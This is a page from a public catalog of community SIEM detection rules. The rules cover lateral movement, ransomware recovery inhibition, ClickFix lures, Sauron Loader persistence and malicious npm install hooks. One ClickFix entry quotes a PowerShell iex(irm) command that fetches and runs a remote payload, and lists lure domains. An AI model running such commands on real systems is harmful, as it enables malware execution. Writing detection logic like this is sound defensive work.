Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
20,483 detections
Filters
Last updated
All Time
Detection languages
8,114
7,158
1,351
1,169
1,063
Contributors
4,878
2,724
2,695
2,646
2,356
Categories
20,483
11,867
5,885
5,168
4,867
Platforms
18,085
3,047
1,506
124
104
Products / Services
5,726
4,293
3,715
1,174
958
MITRE Techniques
9,480
7,574
3,458
2,848
2,703
CVEs
36
28
25
21
20
IDS Classtypes
1
This rule detects the creation of services or execution of processes associated with remote management tools like PsExec or PAExec. It looks for common service names (PSEXESVC, PAExec), suspicious executable paths in temporary directories (e.g., \Temp\, \AppData\Local\Temp\), or command-line patterns indicating remote execution via ADMIN$ shares. These indicators are frequently used by adversaries for lateral movement and remote command execution.
Detects the use of native Windows utilities (vssadmin, wmic, wbadmin, bcdedit) to inhibit system recovery by deleting shadow copies, backup catalogs, or disabling automatic recovery features. This behavior is commonly observed in ransomware attacks.
Detects suspicious behavior where an identical executable (same path and SHA256) is launched twice within a short window (60 minutes) following a system reboot, utilizing two distinct persistence methods: one triggered via the Task Scheduler (under svchost.exe -k netsvcs) and one via a user logon autostart mechanism (spawned by explorer.exe).
This rule detects potentially malicious activity involving the execution of Node.js scripts initiated by system script proxies (wscript, cscript, msiexec) within specific paths, often associated with subsequent installation of VBScript agents or direct network communication with a known command-and-control IP address.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
This rule detects the 'ClickFix' attack pattern, where an adversary tricks a user into copying and pasting a malicious command into a terminal. The command typically involves using 'base64 -D' to decode an attacker-supplied blob directly into a bash interpreter, often initiated by a Terminal emulator and containing strings related to fake reCAPTCHA or robot verification.
Detects the creation of a scheduled task named 'keyroll' in close temporal proximity to the execution of 'rnpkeys.exe' from 'C:\ProgramData\keyroll'. This pattern mimics the persistence mechanism used by the Sauron malware (a.k.a. Strider) to execute its loader chain.
Detects execution of staged payloads within the %TEMP% directory initiated by processes associated with the Sauron Loader (rnpkeys.exe or processes running from ProgramData\keyroll). The rule monitors for common living-off-the-land binaries (rundll32.exe, regsvr32.exe, msiexec.exe, cmd.exe, powershell.exe, wscript.exe) acting as task handlers for the loader.
Detects the Sauron Loader malware utilizing the process rnpkeys.exe as a parent to spawn common LOLBins (Living-off-the-Land Binaries) or execute payloads from temporary directories. This behavior is indicative of a secondary stage execution chain typical of the Sauron Loader.
Detects the execution of msiexec.exe (the Windows Installer) as a child process of remote support applications such as Quick Assist, Microsoft Remote Assistance (msra.exe), or AnyDesk. This pattern is commonly associated with remote access trojans and unauthorized software deployment during social engineering campaigns.
Detects the execution of msiexec.exe (the Windows Installer) as a child process of remote support applications such as Quick Assist, Microsoft Remote Assistance (msra.exe), or AnyDesk. This pattern is commonly associated with remote access trojans and unauthorized software deployment during social engineering campaigns.
Detects the creation of a scheduled task named 'keyroll' using either schtasks.exe command line arguments or Windows Event ID 4698. This specific task name is associated with the persistence mechanism of the Sauron Loader, particularly when it references 'rnpkeys.exe' or 'ProgramData\keyroll'.
Detects the creation of a scheduled task named 'keyroll' using either schtasks.exe command line arguments or Windows Event ID 4698. This specific task name is associated with the persistence mechanism of the Sauron Loader, particularly when it references 'rnpkeys.exe' or 'ProgramData\keyroll'.
Detects a potential vishing or technical support scam scenario by identifying a burst of email traffic to a user (email bombing) followed within one hour by the execution of a remote assistance tool (Quick Assist, Microsoft Remote Assistance, or AnyDesk) on the same user's endpoint.
Detects the execution of the process 'rnpkeys.exe' initiated by 'msiexec.exe' from the '\ProgramData\keyroll\' directory. This activity may indicate malicious use of the Windows Installer to proxy the execution of unauthorized or potentially malicious key management software.
Detects the creation of scheduled tasks using 'schtasks.exe' where the command line arguments contain the string 'keyroll'. This pattern is often associated with automated credential management or persistence mechanisms that may be abused by adversaries.
Detects instances where the rnpkeys.exe process initiates a network connection shortly after its execution. The RNP (OpenPGP) utility is generally used for local cryptographic operations; unexpected network activity from this process may indicate potential misuse, data exfiltration, or malicious use of the tool for command-and-control communication.
Detects the execution of 'setup.js' by the node.js runtime when initiated by 'npm install' or 'postinstall' hooks. This behavior is a common indicator of a malicious supply chain attack where a compromised or malicious npm package executes unauthorized code during the package installation or setup phase.
Detects the presence or execution of artifacts associated with the TrustSink proof-of-concept (deploy.py, cleanup_eam.py, deploy_state.json), which is used to register or remove rogue Entra authentication providers.
This rule detects potential 'Squiblydoo' attacks where regsvr32.exe is used to execute remote scriptlets via HTTP/HTTPS or loads the 'scrobj.dll' library in an unusual manner, such as without a local DLL file path, which is a common indicator of bypassing application allowlisting.
Detects instances where a process named 'updater.exe' launches another process also named 'updater.exe'. This behavior is often associated with malware or malicious loaders (such as LegionLoader) that use secondary instances to facilitate malicious code execution or persistence while masquerading as legitimate update utilities.
Page 75 of 976